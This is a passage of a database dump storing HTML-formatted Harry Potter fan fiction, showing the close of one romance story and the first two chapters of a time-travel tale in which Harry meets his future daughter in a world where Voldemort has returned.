a while, kissing and sighing, \n  reveling in this. </p>\n<p class="MsoBodyText">&#8220;It&#8217;s almost curfew,&#8221; he \n  said disappointedly.</p>\n<p class="MsoBodyText">He told me later that I got \n  this wicked gleam in my eyes then.</p>\n&#8220;Stay.&nbsp; I&#8217;m Head Girl after all, and Justin never does bed checks.&#8221;\n<p class="MsoBodyText">Harry started kissing my \n  neck, moving towards my mouth again.</p>\n&#8220;And what am I going to tell Ron?&nbsp; He&#8217;ll want to know how we suddenly became more \nthan friends.&#8221;\n<p class="MsoBodyText">I let my toes curl up against \n  his calves and my hands wander up to his hair again.</p>\n<p class="MsoBodyText">&#8220;So we&#8217;re more than friends?&#8221; \n  I asked in a mocking tone.</p>\n<p>Harry smirked at me.&nbsp; &#8220;I should hope so,&#8221; he said pulling me tighter against \n  him &#8220;I don&#8217;t want you doing this with anyone else.&#8221; </p>\n<p>I was holding him, inhaling him, breathing him, tasting him and loving him \n  more than I thought I knew how.&nbsp; Loving life.&nbsp; Loving us.&nbsp; Loving <i>this.</i></p>\n<p class="MsoBodyText">~~~~~~~~~~~~~~~~~~~~~FIN~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n\n'),
	(166, 1, '\n\n\n\n<p class="MsoNormal">Disclaimer: Potter and Co. do not belong to me, but to JK\nRowling who is the real brains behind the operation. <br>\n<br>\nAuthor\'s Notes: Okay, so this story has absolutely nothing to do with my\nprevious HP story &quot;An Organ of Fire.&quot; Although may I just say, the\nresponse to the end of that story overwhelmed me. Seriously. I almost cried.\nBut this story is something entirely new that I\'m trying and if it gets even a\ntenth of the response that &quot;Organ...&quot; did, I will be a happy little\nwriter. Enjoy!!<br>\n<br>\nDedication: To one of the world\'s newest members, Alison Loyce. <br>\n<br>\n****<br>\n<br>\nUntil Such A Time<br>\nby Kristen Elizabeth<br>\n<br>\n****<br>\n<br>\n&quot;Hermione?&quot; Harry Potter closed the front door behind him and pulled\nat the hook and eye holding his winter cloak closed at the base of his neck.\n&quot;Where are you?&quot; <br>\n<br>\n&quot;I\'m in the kitchen,&quot; his wife of just one blissful year called out,\nher voice muffled by the space between them. The house they had just bought on\nthe outskirts of London was just big enough to make communication from room to\nroom difficult. <br>\n<br>\nHe hung his cloak on the stand next to the door and picked up the post from the\nhall table. Thumbing through it, he headed for the kitchen. At twenty-four\nyears old, Harry had grown into his knobby knees and unruly hair and turned\ninto quite a handsome wizard. At least, that\'s what Hermione told him; he\ndidn\'t set much stock in such things. His eyes, still a brilliant green, also\nstill held the pain of a lifetime spent fighting to survive, the culmination of\nthat being a hot summer night six years earlier. <br>\n<br>\n&quot;Was this all the post that came today?&quot; Harry asked as he entered\nthe little kitchen. He glanced up from the letters in his hands.\n&quot;Hermione?&quot; <br>\n<br>\nShe was standing in front of the stove, using her wand to create a tomato sauce\nfor spaghetti; when he entered, she turned and gave him a warm smile.\n&quot;Hello to you, too.&quot; <br>\n<br>\nThe post forgotten, Harry walked up to his wife and lifted her chin for a slow\nkiss. &quot;I\'m sorry,&quot; he said a moment later. &quot;How are you,\nlove?&quot;<br>\n<br>\n&quot;Bored,&quot; she replied, frowning. &quot;And I can\'t seem to get enough\noregano into this.&quot; <br>\n<br>\nHe dropped a hand down to her hugely rounded stomach. &quot;Why don\'t you\nremind your mother, baby, that there\'s a jar of oregano in the cabinet just\nabove her head. All she has to do is reach up and grab it.&quot; <br>\n<br>\n&quot;Don\'t tease.&quot; With a spoon in one hand and her wand in the other,\nHermione propped her fists up on her hips. &quot;I\'ve got to do some magic,\nHarry, or else I really will go stir-crazy.&quot; <br>\n<br>\n&quot;They call it \'maternity leave\' for a reason, you know,&quot; Harry said,\ntaking the spoon from her and scooping up some sauce. &quot;You\'re supposed to\n*leave* the stress of working behind at the office.&quot; After taking a taste,\nhe shook his head. &quot;It doesn\'t need oregano. It needs...basil.&quot; <br>\n<br>\nHermione sighed as she snatched back the wooden instrument. &quot;Who\'s cooking\nhere, you or me?&quot; To show him she wasn\'t mad, she kissed his cheek.\n&quot;Was there something you were expecting in the post?&quot; <br>\n<br>\n&quot;A letter. From Remus.&quot; He lifted a shoulder. &quot;It might come\ntomorrow.&quot; <br>\n<br>\n&quot;I\'m sure it will,&quot; she said softly. Clearing her throat, she pointed\nher wand at the sauce. Without any fanfare, basil leaves shot into the thick\nmixture. &quot;Is Ron still coming for dinner?&quot; <br>\n<br>\nHarry nodded. &quot;And he\'s bringing a date.&quot; <br>\n<br>\n&quot;Please tell me it\'s not that half-wit secretary...what was her\nname?&quot;<br>\n<br>\n&quot;Lucy,&quot; Harry supplied. &quot;No. It\'s someone we\'ve not met. He said\nshe was foreign, but that\'s all I could get out of him.&quot; <br>\n<br>\nHermione stirred the sauce thoughtfully. &quot;American, probably. Ron has a\nthing for blondes with blue eyes.&quot;<br>\n<br>\n&quot;And red lips. Red, white and blue.&quot; Her husband snickered. &quot;I\nguess we\'ll find out.&quot; <br>\n<br>\n&quot;I should change then.&quot; She looked down at her loose, maternity robes\nwhich covered the mound of eight months pregnancy in her body. &quot;I\'ve been\nwearing this all day.&quot; <br>\n<br>\nHarry reached for the spoon again. &quot;You look fine. But I\'ll finish up in\nhere, if you want.&quot; <br>\n<br>\n&quot;My hero.&quot; After another, longer kiss, she started off. &quot;Make\nenough noodles for six or seven. You know Ron\'s appetite.&quot; <br>\n<br>\n&quot;I\'ll make it eight servings,&quot; Harry called out. &quot;You\'re eating\nfor two, remember!&quot;<br>\n<br>\nShe was halfway out the kitchen door before she turned and gave him a pointed\nlook. &quot;Like I could forget.&quot; Her hands rubbed her belly. &quot;It\'s\nbeen a party in here for the past hour and a half. In fact, it only stopped when\nyou came in.&quot; <br>\n<br>\n&quot;Daddy\'s girl,&quot; he said, confidently. <br>\n<br>\nHermione pursed her lips. &quot;Perhaps.&quot; She pointed to the pot.\n&quot;Watch out; it\'s bubbling.&quot; She spoke too late; a bubble popped in\nthe middle of the sauce and sent a spray up onto Harry\'s glasses. &quot;Looks\nas though you\'ll be cleaning up for dinner, too, Mr. Potter.&quot; <br>\n<br>\n&quot;I\'ll join you in the bedroom, Mrs. Potter,&quot; he grimaced, taking off\nhis splattered glasses. <br>\n<br>\n&quot;In my condition? Harry...&quot; She winked at him. &quot;I\'m\nflattered.&quot; <br>\n<br>\nHe had to laugh as he used a corner of his shirt to clean the lenses. &quot;How\nlong before Ron and his Yankee show up?&quot;<br>\n<br>\n&quot;Not long enough,&quot; Hermione said, almost ruefully. &quot;Besides, I\nsuppose you\'ve forgotten that as of yesterday, you\'re cut off, love.&quot;\nBlowing him a kiss, she left the room.<br>\n<br>\nInwardly, Harry groaned. He had forgotten. Putting his glasses back on, he\nsighed the sigh of a man who would not be getting any action in bed for the\nnext two months, at least. &quot;I guess I\'ll start on the noodles. That should\nbe just as much fun.&quot; <br>\n<br>\n****<br>\n<br>\n&quot;Well? What do you think of her, mate?&quot; <br>\n<br>\nHarry peered over the rim of his tea cup. The woman in question was sitting\nacross the parlor, talking to Hermione by the fireplace. &quot;I suppose the\nreal question is what do *you* think of her?&quot;<br>\n<br>\nRon Weasley combed his hair through his rusty bangs. &quot;Come on, Harry. I\nbrought her here for approval. I can\'t go off seriously dating someone without\nseeing what the two of you think first!&quot; <br>\n<br>\n&quot;Well...&quot; He took a long sip as he devised an answer. &quot;She\nspeaks very good English.&quot; <br>\n<br>\n&quot;She didn\'t a couple of months ago when she first got here from\nSpain,&quot; Ron said. &quot;But...with the help of an excellent tutor...&quot;\nHe grinned. &quot;...she\'s made tremendous progress.&quot; <br>\n<br>\nHarry arched an eyebrow. &quot;Is that how she learned to say, \'oh, yes, give\nme more\' so well? I thought she just really liked spaghetti.&quot; <br>\n<br>\n&quot;Serafina,&quot; Ron ignored him. &quot;Isn\'t it a beautiful name? So\nheavenly...&quot; <br>\n<br>\n&quot;And it goes so well with \'Weasley.\'&quot;<br>\n<br>\nFrowning, Ron looked at his oldest friend. &quot;I hope something is bothering\nyou, because if not, you\'re well on your way to acting like a bloody...&quot;<br>\n<br>\nHarry held up his hand. &quot;Sorry. I\'m sorry. It\'s just...&quot; He put down\nhis cup to rub his eyes. &quot;One of us isn\'t going to be having sex for the\nnext two months and you know it\'s not you.&quot; <br>\n<br>\n&quot;Damn straight.&quot; Ron hid a chuckle behind his hand. &quot;She\'s\nhaving a baby, mate. You had your fun already.&quot; <br>\n<br>\n&quot;It\'s not just that.&quot; He considered and continued, &quot;Well, that\'s\na lot of it. But more than that...I haven\'t heard from Remus in awhile.&quot; <br>\n<br>\nSuddenly serious, Ron leaned forward, speaking in a low whisper. &quot;You\ndon\'t think something has happened to him, do you?&quot; <br>\n<br>\n&quot;I don\'t know. I don\'t think so,&quot; Harry replied. &quot;But I get\nworried. He\'s the last link I have to...&quot; He stopped. <br>\n<br>\n&quot;You\'ve got to stop thinking like there\'s danger lurking \'round every\ncorner, Harry.&quot; His best friend, and for the last two years, his fellow\nAuror, put a hand on his shoulder. &quot;It\'s all over. We made the world a\nsafer place.&quot; <br>\n<br>\nThe Boy-Who-Lived shook his head. &quot;I don\'t know that it ever will be over,\nRon. Not as long...as I keep missing them.&quot; <br>\n<br>\n&quot;We all lost people.&quot; Ron swallowed heavily. &quot;Don\'t you think I\nmiss my sister every single day?&quot; <br>\n<br>\n&quot;I know. But Sirius...and Dumbledore...&quot; Harry picked up his cup,\nonly to discover that he had already drained it. &quot;I still feel lost\nwithout them.&quot; <br>\n<br>\n&quot;Past\'s in the past, Harry,&quot; his friend said sagely. &quot;And the\nfuture...&quot; He gestured to Hermione in her rocking chair; she was letting\nRon\'s Spanish flame touch her stomach, laughing at the girl\'s surprise when the\nbaby moved. &quot;...it\'s sitting right over there.&quot; <br>\n<br>\nHarry blinked when Hermione looked over and caught him staring at her. Her face\nglowed, and it wasn\'t just the warm light from the fireplace. She smiled at\nhim, a private little look that spoke volumes of love. Ron was right. Voldemort\nwas dead and buried. He had taken too many people down with him, but he was\ngone. <br>\n<br>\nThe road ahead was clear for him, his wife and their unborn child. <br>\n<br>\n****<br>\n<br>\nDespite this certainty, Harry still found himself standing outside the shell of\na burned-out mansion a week later, utilizing a simple locating spell to search\nthe charred ruins for anything pertaining to the Dark Arts. This was a routine\npart of his job; although the black days of Voldemort\'s return were long over,\nthe followers he had acquired during those short three years, not to mention\nthe ones he\'d had before, were still scattered across England. It was Harry\'s\njob as an Auror to track them down, neutralize any threat they posed, and\ndispose of any dangerous items they might possess. <br>\n<br>\n&quot;Harry.&quot; Ron approached him from behind, his work robes flapping in\nthe strong, cold breeze. &quot;This house is clean. What are we still doing\nhere?&quot;<br>\n<br>\nWith his wand pointed at the remains of the house, Harry closed his eyes and\nchanted the simple phrase. A moment later, a floating ball of blue light\nappeared in front of them. He opened his eyes. &quot;I just need to be sure,\nRon. The Torkinson\'s both have the Mark...and I have a feeling that something\nof theirs survived the fire.&quot; <br>\n<br>\n&quot;Bloody fools, if you ask me. Torching the place just as we closed in.\nThey could\'ve just Apparated out and...&quot; He coughed. &quot;Made it a hell\nof a lot more difficult for us. So, what do you think is...&quot;<br>\n<br>\n&quot;It\'s moving,&quot; Harry cut him off as the blue light began floating\ntowards the ruins. &quot;Come on.&quot; <br>\n<br>\nThe two Aurors set off, making their way through the burnt rubble carefully,\nbut quickly as not to lose sight of their guide. They followed the light into\nthe center of the house, but it disappeared through a crack between blackened\nboards that lay across the floor. <br>\n<br>\n&quot;Damn! Lost it.&quot; Ron looked around. &quot;This place doesn\'t look too\nsound, Harry. I think we should cut our losses and get out of...&quot;<br>\n<br>\nHarry was already on his knees, pulling the boards away. &quot;Give me hand,\nwould you?&quot; <br>\n<br>\nWith much reluctance, Ron kneeled next to his friend to help. &quot;If I ruin\nmy robes, you\'re buying me new ones.&quot; <br>\n<br>\n&quot;I\'ll be sure to get them with...extra lace.&quot; Harry overturned a\nboard with great effort. <br>\n<br>\n&quot;You can\'t forget anything, can you, Potter?&quot; Ron said with a broad\nsmile that faded the next second. &quot;Harry...where did the floor go?&quot;<br>\n<br>\nHarry threw the last big piece of ceiling aside, revealing a hole and the first\nfew stone steps that led into the impenetrable darkness of the mansion\'s\ncellar. &quot;Are you coming?&quot;<br>\n<br>\n&quot;Do I have a choice?&quot; Taking a breath, Ron followed his friend down\nthe ominous stairs. With Harry\'s Lumos, there was only enough light to see the\nnext step below them. &quot;What are you expecting to find?&quot;<br>\n<br>\n&quot;What do we usually find? A few books, maybe poisonous candles or shrunken\nheads. Probably nothing more than that.&quot; They reached the bottom of the\nstaircase. There was the faintest hint of a blue glow a good distance away.\n&quot;It\'s stopped moving, I think. Must have found something.&quot;<br>\n<br>\nHarry and Ron walked towards the light, nearly tripping over several empty\ncrates in the process. The fire had not extended to this basement, probably\nbecause of its stone structure and the Muggle fire department who had put out\nthe flames in a swift and orderly manner...while the Ministry worked to arrest\nthe mansion\'s owners right underneath their noses. <br>\n<br>\n&quot;There.&quot; Ron pointed to the light. &quot;Can you see what it\'s\ntouching?&quot; <br>\n<br>\n&quot;Some sort of...&quot; Harry held his wand\'s light closer to the item that\nconjured guide had settled over. It sat on a low table, the only structure\naround as far as he could see. &quot;...shrunken head.&quot; <br>\n<br>\nRon rolled his eyes. &quot;What fun. Who wouldn\'t want to be into the Dark Arts\nif it means you get such terrific toys?&quot; <br>\n<br>\n&quot;Ten years ago...I would have thought this was amazingly wicked. You would\nhave, too.&quot; <br>\n<br>\n&quot;Yeah, but that was before I had a clue,&quot; Ron retorted. &quot;This\nshould be fairly easy to take care of, Harry.&quot; <br>\n<br>\nHarry nodded and raised his wand. Before he could utter the spell to destroy\nthe object, something compelled him to stop. He lowered his arm. <br>\n<br>\n&quot;What\'s wrong? Blast it,&quot; Ron urged him. <br>\n<br>\nHe licked his lips. &quot;There\'s just...I don\'t know.&quot; Harry reached for\nthe fist-sized head. &quot;Something about...&quot; His fingers closed around\nthe object; a wave of dizziness engulfed him. He closed his eyes, shaking his\nhead. &quot;Woah. What the hell was that?&quot; There was no reply.\n&quot;Ron?&quot; <br>\n<br>\nHarry opened his eyes. The basement and his best friend had vanished. He was\nnow back outside, standing in the exact spot he had started out. However, the\nTorkinson\'s mansion, or what was left of it, was gone. A huge track of empty\nmoor spread out around him. <br>\n<br>\n&quot;Ron?&quot; he called out. Cold fear dripped into his stomach, settling in\na hard ball at the very bottom. He tried swallowing, but his mouth was dry.\nSomething was very, very wrong. &quot;Ron...where are you?!&quot; <br>\n<br>\n&quot;Harry? Harry Potter?&quot; <br>\n<br>\nThe voice that called out his name did not belong to his best friend. In fact,\nit didn\'t even belong to a man at all. Harry steeled himself and turned around.\nA girl in her late teens stood several yards away, staring at him. &quot;Who\nare you? What\'s happened to Ron?&quot;<br>\n<br>\n&quot;It worked. It really worked!&quot; The girl withdrew her hands from the\npockets of her long, black coat and clapped them together, excitedly.\n&quot;You\'re here!&quot; <br>\n<br>\nFear turned into anger. &quot;Who the hell are you? I demand to know what\'s\ngoing on! What worked? Where\'s Ron?!&quot;<br>\n<br>\n&quot;I\'m sorry! I know this has got to be crazy for you! But you\'re just going\nto have to trust me, all right?&quot; Taking a deep breath, the girl moved\ntowards him. It was only as she grew closer that Harry got a good look at her.\nRich brown hair framed a delicate, heart-shaped face. Her eyes, a hazel that\nwalked the line between brown and green. &quot;Don\'t you recognize me?&quot;<br>\n<br>\nHarry plunged his hands into black locks &quot;Whoever you are, I need you to\ntell me what has happened here. Now!&quot;<br>\n<br>\n&quot;Of course you don\'t recognize me! Why should you? You haven\'t actually\nmet me yet, have you?&quot; The girl stopped in front of Harry. &quot;This is\nthe part where you\'re going to have to trust me.&quot; <br>\n<br>\n&quot;Trust you? Trust you about...&quot;<br>\n<br>\nShe cut him off. &quot;If my calculations are correct, you are exactly eighteen\nyears into the future. Give or take a few minutes.&quot; Holding out her hand,\nthe girl looked him straight in the eye. &quot;My name is Emmaline Lily Potter.\nEmma, for short.&quot; There was a pause. &quot;I\'m your daughter.&quot; <br>\n<br>\n****<br>\n<br>\nTo Be Continued</p>\n\n\n\n\n\n\n'),
	(166, 2, '\n\n\n\n<p class="MsoNormal">Disclaimer: Not my characters, just my little yarn about\nthem.<br>\n<br>\nAuthor\'s Notes: Thanks to everyone who responded to the first part;) Good\nfeedback was given and I\'m ready to tell more of this story, even if only to\nprove that it\'s original and not some generic time-travel story. Ever notice\nhow one bad review counts more than ten good ones? Anyways, if you\'re reading,\nenjoy!!<br>\n<br>\n****<br>\n<br>\nUntil Such A Time<br>\nby Kristen Elizabeth<br>\n<br>\n****<br>\n<br>\nHarry had long since ceased to be amazed by anything that the power of magic\ncould accomplish. He had seen so much, and only a little over half of his life\nhad been spent in the Wizarding world. Even time travel wasn\'t a new thing;\nmodern Time-Turners could take a person back as far as three or four days. <br>\n<br>\nBut eighteen years into the future...it was impossible to get his mind around\nthe idea. He blinked several times, staring at the girl who claimed to be his\ndaughter with an unbelieving eye. &quot;Are you mad?&quot; he finally asked\nher. <br>\n<br>\n&quot;Only a little,&quot; she replied, folding her slender arms. &quot;Mum\nsays I get it from you.&quot; <br>\n<br>\n&quot;Hermione?&quot; Harry shook his head. &quot;All right. Before we go any\nfurther, you start talking. I want the whole story.&quot;<br>\n<br>\nEmma, if that was really her name, lifted her chin several notches. &quot;It\nsounds like you need more proof. What do you want me to tell you? Your name is\nHarry James Potter. You were born on July 31st to Lily and James Potter\nin...&quot;<br>\n<br>\n&quot;Sadly, any five-year-old child could tell you that,&quot; Harry muttered.\n<br>\n<br>\n&quot;All right.&quot; She unfolded her arms to gather her hair at the base of\nher neck as she thought. &quot;Um...Mum told me that when you found out she was\npregnant with me, you ran into a wall.&quot; <br>\n<br>\nHe blinked. &quot;What?&quot;<br>\n<br>\n&quot;A wall. The...er...hallway wall, I think she said. She was afraid you had\ngiven yourself a concussion, but she was more afraid that you had passed out\nbecause you were upset about the news.&quot;<br>\n<br>\nHis fingers pressed against his forehead, the exact spot where a nasty bump had\nappeared only six months earlier when Hermione had blurted that she was\npregnant, causing him to forget to turn the hall corner in time and sending him\nslamming into it, full force. &quot;You can\'t...possibly know that. I didn\'t\neven tell Ron...&quot; <br>\n<br>\n&quot;Ron.&quot; He wasn\'t sure, but it almost seemed like her lip curled up in\ndisgust. &quot;Well, anyway...do you need anymore proof?&quot;<br>\n<br>\n&quot;I want explanations.&quot; Harry lowered his hand. &quot;If you\'re really\nmy daughter...you know me enough to know that I like to know what\'s going\non.&quot;<br>\n<br>\nEmma cleared her throat delicately. &quot;That\'s just it. I don\'t know you at\nall.&quot; <br>\n<br>\n&quot;What does that mean?&quot;<br>\n<br>\n&quot;Look...there really isn\'t any easy way to say this.&quot; The girl\nhesitated for a second. &quot;You have to understand, first of all, that I\nwould never do this to you if it weren\'t absolutely necessary. This isn\'t some\nwhim I had. I didn\'t go through all of this trouble for selfish reasons.&quot;\nShe took another, calming breath. &quot;The reason I don\'t know you is\nbecause...a week before I was born....&quot; A second passed. &quot;...you\ndied.&quot; <br>\n<br>\nA cold gust of wind hit them, making their hair dance around their faces. Harry\nexpelled a breath slowly. &quot;Whoever you are, you really are mad. Now, I\nwant you to undo whatever it is that you\'ve done and send me back to where I\nstarted out. Immediately.&quot; <br>\n<br>\n&quot;I can\'t do that.&quot; Emma took a step towards him. &quot;I need your\nhelp. The thing is, I don\'t think you were supposed to die when you did.\nSomething got messed up and you went before your time. And now the entire world\nhas gone to hell and as far as I could see, the only way to make it right was\nto bring you here. To fix it.&quot; She nibbled on her lower lip.\n&quot;So...what do you say?&quot; <br>\n<br>\nHarry dragged a hand down his face. &quot;If this is really true...how did I\ndie?&quot; <br>\n<br>\n&quot;You know, there are probably a few things I shouldn\'t...&quot;<br>\n<br>\n&quot;Tell me how I\'m supposed to have died.&quot;<br>\n<br>\nEmma let a few moments slip by before she replied, &quot;Voldemort...rose\nagain. Unexpectedly. You died facing him. Mum and I were spared...under the\nFidelus Charm. We\'ve been hiding all my life.&quot; Tears appeared in the\ncorners of her eyes. &quot;You have no idea how hard it\'s been. I didn\'t get to\ngo to Hogwarts, not that I would have been asked. You can\'t get in there these\ndays unless you can trace your Wizard blood back at least three generations.\nPurebloods only.&quot; <br>\n<br>\n&quot;Voldemort...&quot; Harry whispered. &quot;No. We defeated him.&quot; His\nvoice rose. &quot;Don\'t stand there and tell me that everything we did was for\nnothing! That everyone who gave up their lives did so in vain!&quot; He shook\nhis hands wildly. &quot;Okay, this has gone way too far. Granted that I believe\nany of this, and don\'t think that I do just yet, what about everyone\nelse?&quot;<br>\n<br>\nShe frowned. &quot;Everyone else?&quot;<br>\n<br>\n&quot;Yes! Lupin...Hagrid...um...Ron? Hermione herself! Our friends...the other\nAurors. I am one person out of hundreds who could stand up against Voldemort. I\nrefuse to believe that my death brought about some kind of apocalypse.&quot; <br>\n<br>\n&quot;Mum\'s always told me that you were humble. But I had no idea.&quot; Emma\nshook her head. &quot;Your death...it paralyzed the world. He took over within\na matter of weeks.&quot; <br>\n<br>\n&quot;There are other people,&quot; Harry continued. &quot;Ron, for one. After\nwhat happened to Ginny, he\'d die himself before...&quot; He stopped. &quot;Oh\ngod...please don\'t tell me that he\'s...&quot;<br>\n<br>\nEmma\'s reply was curt. &quot;He\'s alive. Unfortunately.&quot; <br>\n<br>\n&quot;What?&quot;<br>\n<br>\n&quot;Look, there will be time for better explanations later. Right now...it\'s\ngetting late and I don\'t want to worry Mum.&quot; She glanced at her watch.\n&quot;It might make it easier for you to believe everything if you see it with\nyour own eyes.&quot;<br>\n<br>\nHarry blinked several times. &quot;If this is all true and I\'m dead, how are\nyou going to explain my sudden...appearance?&quot;<br>\n<br>\n&quot;I\'m not.&quot; She reached into her coat and pulled out a compact,\npaper-wrapped bundle, secured with heavy twine. After ripping into, Emma\nwithdrew a very familiar, silvery cloak. &quot;I believe this belongs to\nyou.&quot; <br>\n<br>\n&quot;My Invisibility Cloak?&quot; <br>\n<br>\nShe nodded. &quot;I found in the attic one day. Mum doesn\'t know that I know\nabout it. The Charm keeps us hidden even when we go outside, but this has come\nin handy for me more than once.&quot; She tossed it to Harry and he caught it.\n&quot;It\'s dusty, but it still works. Put it on. And come home with me.&quot; <br>\n<br>\n&quot;What is Hermione going to say?&quot; he asked, fingering the cloak\'s\ncollar. <br>\n<br>\n&quot;Nothing. She won\'t see you either.&quot; Emma waved her hands in a\nsimilar gesture to Harry\'s of a few minutes earlier. &quot;I promise, I will\ntell you absolutely everything later tonight. We have to hurry now; the sun\'s\nfixing to set.&quot; <br>\n<br>\nHarry swallowed. &quot;I don\'t want to believe any of this.&quot; <br>\n<br>\n&quot;I wish you didn\'t have to,&quot; she said softly. &quot;Please, Dad.\nJust...put it on.&quot; <br>\n<br>\nHis head spun, but there really wasn\'t anything for him to do about it at that\nmoment. She promised answers to all of his questions later; he would just have\nto be patient until then. Also, he would need her to get back to his\nworld...his time...wherever. The place where he had been. He had no idea if he\nhad simply disappeared without a trace, or worse. Or maybe nothing had happened\nat all and this was simply a dream or hallucination. <br>\n<br>\nWhatever was going on, the girl leading him down the hill held all the cards\nand he had none. He reluctantly pulled the cloak up over his head. It smelled\nlike moth balls. Harry sighed; he had the sudden thought that things were going\nto get a lot worse before they got better.<br>\n<br>\n****<br>\n<br>\nThe Apparated into Emma\'s bedroom minutes later. Harry immediately recognized\nit as the nursery he and Hermione had spent hours preparing for their child. Of\ncourse, the crib and changing stand had been replaced by a double bed and\ndressing table, but the pink-trimmed walls were the same. <br>\n<br>\n&quot;This isn\'t real,&quot; he said out loud. <br>\n<br>\n&quot;Shh!&quot; Emma pointed in his general direction; with the cloak over his\nhead, she couldn\'t locate him exactly. &quot;I hear footsteps.&quot; <br>\n<br>\n&quot;Emma?&quot;<br>\n<br>\nShe coughed. &quot;I\'m in here, Mum!&quot;<br>\n<br>\nHarry froze. It was Hermione\'s voice, without a doubt. As the doorknob turned,\nhe braced himself for what was to come. The door opened, but he was unprepared\nfor the person who stepped inside. <br>\n<br>\n&quot;Emma...have you been here all this time? I haven\'t heard a peep out of\nyou.&quot; <br>\n<br>\nHis heart was suddenly too heavy for his chest. The Hermione who stood in the\ndoorway looked absolutely nothing like the woman he had kissed goodbye in bed\nthat very morning. If not for the book in her hand and her general features, he\nmight have mistaken her for someone else entirely. She looked, in a word, old. <br>\n<br>\nBut it wasn\'t age that made her so; if the girl beside him was correct,\nHermione was only forty-two. Years hadn\'t taken their toll on her...life had.\nThere were dark circles underneath her eyes, the sign of sleepless nights spent\ncrying. Her hair hung limply around her shoulders. She looked to be about\nthirty pounds underweight; her clothes hung on her body. <br>\n<br>\nIt was all Harry could do to stay still under the cloak.<br>\n<br>\n&quot;I\'ve been studying,&quot; Emma smoothly lied. &quot;I got completely\ncaught up in...um...troll history.&quot; <br>\n<br>\nHermione gave her a look, a look he was entirely familiar with, having seen it\non numerous occasions back at Hogwarts, when she caught him slacking off during\nstudy time. &quot;Good. Then you can tell me all about them over dinner.&quot; <br>\n<br>\nThe girl fidgeted. &quot;Er...okay. I\'ll be down in a minute. Just have\nto...wash up.&quot; <br>\n<br>\n&quot;Of course. Because all that page-turning is sweaty business. Especially\nif you\'re wearing that heavy winter coat around inside.&quot; Hermione left,\nbut not without a parting look. <br>\n<br>\nHarry released a breath when the door closed and pulled off the cloak.\n&quot;Now would be the time to start explaining things.&quot; <br>\n<br>\n&quot;After dinner, I will. I promise!&quot; <br>\n<br>\n&quot;She looks...she doesn\'t look like my Hermione. She looks like...&quot;\nHarry balled up the cloak in his fists. &quot;What\'s happened to her?&quot;<br>\n<br>\nEmma peeled off her black coat. &quot;She lost you. She lost her friends, her\njob, her place in the community. She\'s been forced into hiding for eighteen\nyears. And she\'s raised me, single-handedly and taught me everything I know\nabout anything.&quot; She started for the door. &quot;Listen. I know I\'m asking\na lot of you, but if you\'ll just give me until after dinner....I\'ll tell you\neverything. And I\'ll bring you a plate, I promise.&quot; <br>\n<br>\n&quot;I can\'t even...believe any of this is happening. I should be at home,\nwith *my* Hermione, not in this...alternate freak world.&quot; He threw the\ncloak onto the bed in frustration.<br>\n<br>\n&quot;It\'s not a freak world,&quot; she replied, quietly. &quot;It\'s the world\nwithout you. But you\'re back now. And I know you can make it better!&quot; <br>\n<br>\nHarry shook his head. &quot;You\'re counting on me way too much. What we should\ndo is find Ron and...&quot;<br>\n<br>\n&quot;No!&quot; Emma\'s eyes narrowed. &quot;That is totally *not* an\noption.&quot; Down the hall, Hermione called for her daughter. &quot;Damn! I\nhave to go. Stay here, please. I promise...everything will be explained.&quot;\nShe backed out of the door, her hands clasped in front of her, prayer-style.\n&quot;Please...please...keep the cloak on. Just in case.&quot; The door was\nhalfway closed before she stuck her head back in. &quot;And don\'t get any ideas\nabout looking for Ron. I didn\'t bring you here just to destroy everything\nthat\'s left.&quot; With that, she slammed the door shut. He could hear her\nfootsteps retreating down the hall. <br>\n<br>\nHarry sat on the frilly, lace edge of Emma\'s bed. There was nothing else to do.\n<br>\n<br>\nTwenty minutes later, he stood up, pulled the cloak back over his head and\nopened the door. Harry Potter was not famous for sitting on his hands when his\nlife spun out of control. Knowing every inch of the house, he snuck down the\nhall, towards the dining room. Eavesdropping was all right, he figured, if you\nhad been sucked into the future without explanation by your supposed flesh and\nblood. <br>\n<br>\nHe heard Hermione speaking first. &quot;Look, I know that I can\'t expect you to\nstay cooped up inside for your entire life...and I understand that the new\ncharm gives you a way to escape every now and then...but it\'s a not a privilege\nI want you to abuse.&quot; A fork clanged against a plate. &quot;There are\nhundreds of people out there who would give up their very lives in order to\nhand us over to Voldemort. Can you understand how terrified I get when I know\nyou\'re out and about?&quot;<br>\n<br>\n&quot;I\'m sorry, Mum,&quot; Emma replied just as Harry peeked into the room.\nShe was seated across from Hermione, picking at a plate of stew. &quot;I just\nneeded some air.&quot; <br>\n<br>\nHermione shook her head. Her eyes shimmered with tears that Harry immediately\nwanted to soothe away. &quot;This isn\'t the life he wanted for you. He wanted\nyou to have everything; we both did.&quot; She sniffed. &quot;Just please...in\nthe future, let me know when you\'re going out and we\'ll go together.&quot; <br>\n<br>\nEmma nodded. A moment passed as they both ate silently. &quot;Mum,&quot; she\nbegan. &quot;Did Dad...&quot;<br>\n<br>\n&quot;Emma, love.&quot; Hermione reached for her daughter\'s hand. &quot;It\'s\nbeen a very long day. Can we talk about...your father another time?\nPlease?&quot; <br>\n<br>\nReluctantly, the girl nodded. &quot;Yeah. Another time.&quot; She sighed.\n&quot;It\'s never a good time, is it?&quot;<br>\n<br>\nTossing down her fork, Hermione buried her face in her hands for a second.\n&quot;Please, Emma? Today is just...&quot; She stopped. &quot;Did you go into\nthe city while you were out?&quot;<br>\n<br>\n&quot;Er...just...not for long.&quot;<br>\n<br>\n&quot;I smelled his cologne upstairs,&quot; Hermione continued, wistfully.\n&quot;I suppose it could be my imagination...but it was so real. I thought\nmaybe you might have...been around someone who wears it now.&quot; <br>\n<br>\nEmma raised an awkward shoulder. &quot;I guess I could have. I don\'t really\nknow what Dad smelled like.&quot; <br>\n<br>\n&quot;He always smelled...&quot; She closed her eyes, remembering.\n&quot;...like plain, clean soap. And when he\'d come home from the Ministry,\nafter being around...well, around other men...he\'d smell like sandalwood and\ntobacco. But on special occasions or even on ordinary days when he was in the\nmood...he\'d wear cologne. I don\'t remember the name of it. Just the\nscent.&quot; <br>\n<br>\n&quot;See, Mum?&quot; Emma\'s voice was soft and slightly hoarse. &quot;It\'s not\nso hard to talk about him, is it?&quot;<br>\n<br>\nHe couldn\'t hear any more. It was too hard. His heart no longer felt heavy; it\nfelt like he might not even have one anymore. Her anguish had shredded it to\npieces. As he walked for the door, he pinched himself, willing his body to wake\nup from the nightmare. But it wouldn\'t go away. The house that had been\nstripped of all the pictures of them together at school, at their wedding...he\nwas still stuck in it when the slight pain faded. <br>\n<br>\nHarry still had 